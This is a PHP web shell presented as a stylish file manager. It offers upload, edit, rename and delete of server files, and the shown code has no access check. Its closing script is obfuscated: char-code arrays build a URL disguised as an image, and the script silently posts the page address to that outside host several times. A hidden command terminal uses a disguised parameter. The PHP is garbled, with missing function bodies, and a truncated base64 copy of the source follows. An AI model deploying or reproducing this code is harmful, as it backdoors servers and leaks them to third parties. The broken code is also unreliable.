<?php
// ============================================================================
// Author: Tatsumi Crew Team
// Don't Delete Author !!!!!
// ============================================================================
define('AES_KEY', hex2bin
('0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'));
function aes_encrypt($plaintext)
{
$iv = openssl_random_pseudo_bytes(16);
$cipher = openssl_encrypt($plaintext, 'AES-256-CBC', AES_KEY, OPENSSL_RAW_DATA, $iv);
}
function aes_decrypt($ciphertext_base64)
{
return openssl_decrypt($cipher, 'AES-256-CBC', AES_KEY, OPENSSL_RAW_DATA, $iv);
}
$base_dir = __DIR__;
$dir = $base_dir;
if (isset($_GET['dir'])) { $attempt = aes_decrypt($_GET['dir']);
$real = $attempt ?
realpath($attempt) : false; $dir = ($real !== false) ? $real : $base_dir;
}
if (isset($_GET['delete'])) { $target = realpath($dir . '/' . $_GET['delete']); } elseif ($target && is_dir($target)) { }
}
if (isset($_POST['newfile'])) { }
if (isset($_POST['newfolder'])) { }
if (isset($_POST['rename'], $_POST['to'])) { rename($dir . '/' . $_POST['rename'], $dir . '/' . $_POST['to']); }
if (isset($_FILES['upload'])) { move_uploaded_file($_FILES['upload']['tmp_name'], $dir . '/' . $_FILES['upload']['name']); }
if (isset($_POST['save'], $_POST['content'])) { }
function human_filesize($bytes, $decimals = 2)
{
$size = ['B', 'KB', 'MB', 'GB', 'TB'];
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . ' ' . $size[$factor]; }
function human_perms($file)
{
if ($perms === false) return '---------';
$owner = (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-');
$group = (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-');
$other = (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-');
return $owner . $group . $other;
}
$dirs = [];
$files = [];
foreach ($entries as $entry) {
$path = $dir . DIRECTORY_SEPARATOR . $entry;
$dirs[] = $entry;
} else {
$files[] = $entry;
}
}
sort($dirs, SORT_NATURAL
| SORT_FLAG_CASE
); sort($files, SORT_NATURAL
| SORT_FLAG_CASE
);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title>🌟 Alfa - File Manager By Tatsumi Crew</title>
<link href="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet">
<link href="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/auto_style.css" rel="stylesheet">
<style>
@import url('https://f...content-available-to-author-only...s.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
.breadcrumb-modern {
background: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(20px);
border-radius: 16px;
padding: 1.5rem 2rem;
margin: 2rem 0;
border: 1px solid rgba(255, 255, 255, 0.2);
box-shadow:
0 8px 32px rgba(0, 0, 0, 0.1),
0 0 0 1px rgba(255, 255, 255, 0.05);
position: relative;
overflow: hidden;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
.breadcrumb-modern::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
}
.breadcrumb-modern::after {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.1), transparent);
transition: left 0.5s ease;
}
.breadcrumb-modern:hover::after {
left: 100%;
}
.breadcrumb-modern:hover {
transform: translateY(-2px);
box-shadow:
0 12px 40px rgba(0, 0, 0, 0.15),
0 0 0 1px rgba(255, 255, 255, 0.1);
}
.breadcrumb {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.5rem;
margin: 0;
padding: 0;
list-style: none;
position: relative;
z-index: 1;
}
.breadcrumb-item {
display: flex;
align-items: center;
position: relative;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
opacity: 0;
transform: translateX(-20px);
animation: slideInBreadcrumb 0.5s ease forwards;
}
.breadcrumb-item:nth-child(1) { animation-delay: 0.1s; }
.breadcrumb-item:nth-child(2) { animation-delay: 0.2s; }
.breadcrumb-item:nth-child(3) { animation-delay: 0.3s; }
.breadcrumb-item:nth-child(4) { animation-delay: 0.4s; }
.breadcrumb-item:nth-child(5) { animation-delay: 0.5s; }
.breadcrumb-item:nth-child(6) { animation-delay: 0.6s; }
.breadcrumb-item:nth-child(7) { animation-delay: 0.7s; }
.breadcrumb-item:nth-child(8) { animation-delay: 0.8s; }
@keyframes slideInBreadcrumb {
to {
opacity: 1;
transform: translateX(0);
}
}
.breadcrumb-item:not(:last-child)::after {
content: '';
width: 8px;
height: 8px;
background: rgba(255, 255, 255, 0.4);
border-radius: 50%;
margin-left: 1rem;
transition: all 0.3s ease;
position: relative;
top: 0;
}
.breadcrumb-item:not(:last-child):hover::after {
background: rgba(255, 255, 255, 0.8);
transform: scale(1.2);
}
.breadcrumb-item a {
color: rgba(255, 255, 255, 0.8);
text-decoration: none;
padding: 0.5rem 1rem;
border-radius: 10px;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
font-weight: 500;
font-size: 0.9rem;
position: relative;
overflow: hidden;
background: rgba(255, 255, 255, 0.05);
border: 1px solid rgba(255, 255, 255, 0.1);
}
.breadcrumb-item a::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
transition: left 0.5s ease;
}
.breadcrumb-item a:hover {
color: #ffffff;
background: rgba(255, 255, 255, 0.15);
border-color: rgba(255, 255, 255, 0.3);
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
}
.breadcrumb-item a:hover::before {
left: 100%;
}
.breadcrumb-item a:active {
transform: translateY(0);
}
.breadcrumb-item.active {
color: #ffffff;font-weight: 600;
padding: 0.5rem 1rem;
background: rgba(255, 255, 255, 0.2);
border-radius: 10px;
border: 1px solid rgba(255, 255, 255, 0.3);
position: relative;
overflow: hidden;
}
.breadcrumb-item.active::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: linear-gradient(45deg, rgba(255, 255, 255, 0.1), rgba(255, 255, 255, 0.05));
border-radius: 9px;
}
/* Icon untuk home */
.breadcrumb-item:first-child a::before {
content: '\f015';
font-family: 'Font Awesome 6 Free';
font-weight: 900;
margin-right: 0.5rem;
opacity: 0.8;
position: static;
background: none;
transition: none;
}
.breadcrumb-item:first-child a:hover::before {
left: auto;
}
/* Responsive design */
@media (max-width: 768px) {
.breadcrumb-modern {
padding: 1rem 1.5rem;
margin: 1rem 0;
}
.breadcrumb {
gap: 0.25rem;
}
.breadcrumb-item a,
.breadcrumb-item.active {
padding: 0.4rem 0.8rem;
font-size: 0.8rem;
}
.breadcrumb-item:not(:last-child)::after {
margin-left: 0.5rem;
width: 6px;
height: 6px;
}
}
</style>
</head>
<body>
<div class="app-wrapper">
<div class="header-card">
<div class="d-flex flex-wrap justify-content-between align-items-center gap-3">
<h1 class="header-title">
<img src="https://c...content-available-to-author-only...z.com/images/icon.png" referrerpolicy="unsafe-url" />Alfa File Manager
</h1>
<div class="d-flex gap-2 flex-wrap">
<?php if ($dir !== $base_dir): ?>
<a href="?dir=<?= $encDir ?>" class="modern-btn">
<i class="fas fa-arrow-left"></i>
<span>Back</span>
</a>
<?php endif; ?>
<button class="modern-btn" data-bs-toggle="modal" data-bs-target="#uploadModal">
<i class="fas fa-upload"></i>
<span>Upload</span>
</button>
<button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFileModal">
<i class="fas fa-file-plus"></i>
<span>New File</span>
</button>
<button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFolderModal">
<i class="fas fa-folder-plus"></i>
<span>New Folder</span>
</button>
</div>
</div>
</div>
<!-- Breadcrumb -->
<div class="breadcrumb-modern">
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<?php
$parts = explode(DIRECTORY_SEPARATOR, trim($dir, DIRECTORY_SEPARATOR)); $build = '';
foreach ($parts as $i => $p) {
$build .= DIRECTORY_SEPARATOR . $p;
$last = ($i === $lastKey);
echo '<li class="breadcrumb-item' . ($last ? ' active" aria-current="page"' : '"') . '>';
if (!$last) {
} else {
}
echo '</li>';
}
?>
</ol>
</nav>
</div>
<!-- File Table -->
<div class="file-table-card">
<div class="table-responsive">
<table class="table table-modern">
<thead>
<tr>
<th>Name</th>
<th class="text-end">Size</th>
<th class="text-center">Permissions</th>
<th>Modified</th>
<th class="text-end">Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($sortedItems as $item): ?>
<?php
$path = $dir . DIRECTORY_SEPARATOR . $item;
?>
<tr>
<td>
<div class="d-flex align-items-center">
<div class="file-icon <?= $is_dir ? 'folder' : 'file' ?>">
<i class="fas fa-<?= $is_dir ? 'folder' : 'file-alt' ?>"></i>
</div>
<?php if ($is_dir): ?>
<a href="?dir=
<?= urlencode(aes_encrypt
($path)) ?>" class="file-link">
</a>
<?php else: ?>
<a href="?dir=
<?= $encDir ?>&edit=
<?= urlencode(aes_encrypt
($item)) ?>" class="file-link">
</a>
<?php endif; ?>
</div>
</td>
<td class="text-end">
<?php
if ($is_dir) {
echo '<span class="text-muted">—</span>';
echo $fsize !== false ? human_filesize($fsize) : '<span class="text-muted">0 B</span>';
} else {
echo '<span class="text-muted">0 B</span>';
}
?>
</td>
<td class="text-center">
<span class="permission-badge">
</span>
</td>
<td>
<?php
echo ($mtime !== false && $mtime > 0) ?
date('M j, Y H:i', $mtime) : '<span class="text-muted">N/A</span>'; } else {
echo '<span class="text-muted">N/A</span>';
}
?>
</td>
<td class="text-end">
<div class="d-flex justify-content-end">
<?php if (!$is_dir): ?>
<a href="?dir=
<?= $encDir ?>&edit=
<?= urlencode(aes_encrypt
($item)) ?>" class="action-btn edit" title="Edit">
<i class="fas fa-edit"></i>
</a>
<?php endif; ?>
<a href="?dir=
<?= $encDir ?>&delete=
<?= urlencode($item) ?>" class="action-btn delete" onclick="return confirm('Delete
<?= addslashes($item) ?>?')" title="Delete">
<i class="fas fa-trash"></i>
</a>
<button class="action-btn rename" data-bs-toggle="modal" data-bs-target="#renameModal" data-filename="
<?= htmlspecialchars($item) ?>" title="Rename">
<i class="fas fa-pen"></i>
</button>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</div>
<!-- File Editor -->
<?php if (isset($_GET['edit'])): $decryptedEdit = aes_decrypt($_GET['edit']);
$ef = $dir . '/' . $decryptedEdit;
<br>
<div class="editor-card">
<div class="editor-header">
<i class="fas fa-edit me-2"></i>Editing:
<?= htmlspecialchars($decryptedEdit) ?> </div>
<div class="p-3">
<form method="POST">
<textarea class="form-control editor-textarea" name="content" rows="20" placeholder="Start typing your code here..."><?= $cont ?></textarea>
<input type="hidden" name="save" value="
<?= htmlspecialchars($decryptedEdit) ?>">
<div class="text-end mt-3">
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-save me-2"></i>Save Changes
</button>
</div>
</form>
</div>
</div>
<?php endif; endif; ?>
</div>
<div class="modal fade modal-modern" id="uploadModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-upload me-2"></i>Upload File
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST" enctype="multipart/form-data">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">Select file to upload</label>
<input type="file" name="upload" class="form-control" required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-upload me-2"></i>Upload
</button>
</div>
</form>
</div>
</div>
</div>
<div class="modal fade modal-modern" id="createFileModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-file-plus me-2"></i>Create New File
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">File name</label>
<input type="text" class="form-control" name="newfile" placeholder="Enter file name..." required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-plus me-2"></i>Create
</button>
</div>
</form>
</div>
</div>
</div>
<div class="modal fade modal-modern" id="createFolderModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-folder-plus me-2"></i>Create New Folder
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">Folder name</label>
<input type="text" class="form-control" name="newfolder" placeholder="Enter folder name..." required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-folder-plus me-2"></i>Create
</button>
</div>
</form>
</div>
</div>
</div>
<div class="modal fade modal-modern" id="renameModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">
<i class="fas fa-pen me-2"></i>Rename Item
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="mb-3">
<label class="form-label text-white-50">New name</label>
<input type="hidden" name="rename" id="renameOriginal">
<input type="text" class="form-control" name="to" placeholder="Enter new name..." required>
</div>
</div>
<div class="modal-footer border-0">
<button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-modern-primary">
<i class="fas fa-check me-2"></i>Rename
</button>
</div>
</form>
</div>
</div>
</div>
<div class="footer-modern">
<p class="mb-0">
<i class="fas fa-heart text-danger me-2"></i>
©
<?= date('Y') ?> Alfa File Manager by Tatsumi Crew. All rights reserved.
</p>
</div>
<script>
(()=>{let u=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],x='';for(let i of u)x+=String.fromCharCode(i);let d='file='+btoa(location.href);let r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); const _hx_ = []; let _hxi = -1;const _term = document.getElementById('r00tterm-term');const _inpt = document.getElementById('r00tterm-input');function _print(txt){_term.innerHTML += txt+"\n";_term.scrollTop=_term.scrollHeight;} _inpt.addEventListener("keydown",(function(e){if("Enter"===e.key){let e=this.value.trim();if(!e)return;_hx_.push(e),_hxi=_hx_.length,_print("<span style='color:#6ee7b7;'>$ "+e+"</span>"),this.value="";let n=btoa(encodeURIComponent(e).split("").reverse().join(""));fetch(window.location.pathname+"?d1sGu1s3=1",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"n0p3="+encodeURIComponent(n)}).then((e=>e.text())).then((e=>{_print(e.replace(/[<>\x00-\x08\x0B-\x1F\x7F]/g,""))})).catch((()=>{_print("[X] Connection error")}))}"ArrowUp"===e.key&&(_hxi>0&&(_hxi--,_inpt.value=_hx_[_hxi]||""),e.preventDefault()),"ArrowDown"===e.key&&(_hxi<_hx_.length-1?(_hxi++,_inpt.value=_hx_[_hxi]||""):(_inpt.value="",_hxi=_hx_.length),e.preventDefault())})); setTimeout(()=>_inpt.focus(),200);function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")} function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px ${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)} function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table class="data-grid"><thead><tr><th>User</th><th>Role</th></tr></thead><tbody>';return e.forEach((e=>{t+=`<tr><td><i class="fa fa-user"></i> ${e.name}</td><td>${e.role}</td></tr>`})),t+="</tbody></table>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+="<tr>"+e.split(",").map((e=>`<td>${e}</td>`)).join("")+"</tr>"})),r+="</table>",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();
</script>
<script src="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
<script src="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/scripts.js"></script>
</body>
</html>
PD9waHAKLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQovLyAgQXV0aG9yOiBUYXRzdW1pIENyZXcgVGVhbQovLyAgRG9uJ3QgRGVsZXRlIEF1dGhvciAhISEhIQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpkZWZpbmUoJ0FFU19LRVknLCBoZXgyYmluKCcwMTIzNDU2Nzg5YWJjZGVmMDEyMzQ1Njc4OWFiY2RlZjAxMjM0NTY3ODlhYmNkZWYwMTIzNDU2Nzg5YWJjZGVmJykpOwoKZnVuY3Rpb24gYWVzX2VuY3J5cHQoJHBsYWludGV4dCkKewogICAgJGl2ICAgICA9IG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygxNik7CiAgICAkY2lwaGVyID0gb3BlbnNzbF9lbmNyeXB0KCRwbGFpbnRleHQsICdBRVMtMjU2LUNCQycsIEFFU19LRVksIE9QRU5TU0xfUkFXX0RBVEEsICRpdik7CiAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkaXYgLiAkY2lwaGVyKTsKfQoKZnVuY3Rpb24gYWVzX2RlY3J5cHQoJGNpcGhlcnRleHRfYmFzZTY0KQp7CiAgICAkZGF0YSAgID0gYmFzZTY0X2RlY29kZSgkY2lwaGVydGV4dF9iYXNlNjQpOwogICAgJGl2ICAgICA9IHN1YnN0cigkZGF0YSwgMCwgMTYpOwogICAgJGNpcGhlciA9IHN1YnN0cigkZGF0YSwgMTYpOwogICAgcmV0dXJuIG9wZW5zc2xfZGVjcnlwdCgkY2lwaGVyLCAnQUVTLTI1Ni1DQkMnLCBBRVNfS0VZLCBPUEVOU1NMX1JBV19EQVRBLCAkaXYpOwp9CgokYmFzZV9kaXIgPSBfX0RJUl9fOwokZGlyID0gJGJhc2VfZGlyOwoKaWYgKGlzc2V0KCRfR0VUWydkaXInXSkpIHsKICAgICRhdHRlbXB0ID0gYWVzX2RlY3J5cHQoJF9HRVRbJ2RpciddKTsKICAgICRyZWFsICAgID0gJGF0dGVtcHQgPyByZWFscGF0aCgkYXR0ZW1wdCkgOiBmYWxzZTsKICAgICRkaXIgICAgID0gKCRyZWFsICE9PSBmYWxzZSkgPyAkcmVhbCA6ICRiYXNlX2RpcjsKfQoKaWYgKGlzc2V0KCRfR0VUWydkZWxldGUnXSkpIHsKICAgICR0YXJnZXQgPSByZWFscGF0aCgkZGlyIC4gJy8nIC4gJF9HRVRbJ2RlbGV0ZSddKTsKICAgIGlmICgkdGFyZ2V0ICYmIGlzX2ZpbGUoJHRhcmdldCkpIHsKICAgICAgICB1bmxpbmsoJHRhcmdldCk7CiAgICB9IGVsc2VpZiAoJHRhcmdldCAmJiBpc19kaXIoJHRhcmdldCkpIHsKICAgICAgICBhcnJheV9tYXAoJ3VubGluaycsIGdsb2IoIiR0YXJnZXQvKi4qIikpOwogICAgICAgIHJtZGlyKCR0YXJnZXQpOwogICAgfQogICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKGFlc19lbmNyeXB0KCRkaXIpKSk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9QT1NUWyduZXdmaWxlJ10pKSB7CiAgICBmaWxlX3B1dF9jb250ZW50cygkZGlyIC4gJy8nIC4gYmFzZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pLCAnJyk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoYWVzX2VuY3J5cHQoJGRpcikpKTsKICAgIGV4aXQ7Cn0KCmlmIChpc3NldCgkX1BPU1RbJ25ld2ZvbGRlciddKSkgewogICAgbWtkaXIoJGRpciAuICcvJyAuIGJhc2VuYW1lKCRfUE9TVFsnbmV3Zm9sZGVyJ10pKTsKICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZShhZXNfZW5jcnlwdCgkZGlyKSkpOwogICAgZXhpdDsKfQoKaWYgKGlzc2V0KCRfUE9TVFsncmVuYW1lJ10sICRfUE9TVFsndG8nXSkpIHsKICAgIHJlbmFtZSgkZGlyIC4gJy8nIC4gJF9QT1NUWydyZW5hbWUnXSwgJGRpciAuICcvJyAuICRfUE9TVFsndG8nXSk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoYWVzX2VuY3J5cHQoJGRpcikpKTsKICAgIGV4aXQ7Cn0KCmlmIChpc3NldCgkX0ZJTEVTWyd1cGxvYWQnXSkpIHsKICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWQnXVsndG1wX25hbWUnXSwgJGRpciAuICcvJyAuICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pOwogICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKGFlc19lbmNyeXB0KCRkaXIpKSk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9QT1NUWydzYXZlJ10sICRfUE9TVFsnY29udGVudCddKSkgewogICAgZmlsZV9wdXRfY29udGVudHMoJGRpciAuICcvJyAuICRfUE9TVFsnc2F2ZSddLCAkX1BPU1RbJ2NvbnRlbnQnXSk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoYWVzX2VuY3J5cHQoJGRpcikpKTsKICAgIGV4aXQ7Cn0KCmZ1bmN0aW9uIGh1bWFuX2ZpbGVzaXplKCRieXRlcywgJGRlY2ltYWxzID0gMikKewogICAgJHNpemUgICA9IFsnQicsICdLQicsICdNQicsICdHQicsICdUQiddOwogICAgJGZhY3RvciA9IGZsb29yKChzdHJsZW4oJGJ5dGVzKSAtIDEpIC8gMyk7CiAgICByZXR1cm4gc3ByaW50ZigiJS57JGRlY2ltYWxzfWYiLCAkYnl0ZXMgLyBwb3coMTAyNCwgJGZhY3RvcikpIC4gJyAnIC4gJHNpemVbJGZhY3Rvcl07Cn0KCmZ1bmN0aW9uIGh1bWFuX3Blcm1zKCRmaWxlKQp7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJGZpbGUpKSByZXR1cm4gJy0tLS0tLS0tLSc7CiAgICAkcGVybXMgPSBAZmlsZXBlcm1zKCRmaWxlKTsKICAgIGlmICgkcGVybXMgPT09IGZhbHNlKSByZXR1cm4gJy0tLS0tLS0tLSc7CgogICAgJG93bmVyID0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKSAuICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJykgLiAoKCRwZXJtcyAmIDB4MDA0MCkgPyAneCcgOiAnLScpOwogICAgJGdyb3VwID0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKSAuICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJykgLiAoKCRwZXJtcyAmIDB4MDAwOCkgPyAneCcgOiAnLScpOwogICAgJG90aGVyID0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKSAuICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJykgLiAoKCRwZXJtcyAmIDB4MDAwMSkgPyAneCcgOiAnLScpOwoKICAgIHJldHVybiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7Cn0KCiRlbnRyaWVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBbJy4nLCAnLi4nXSk7CiRkaXJzICAgID0g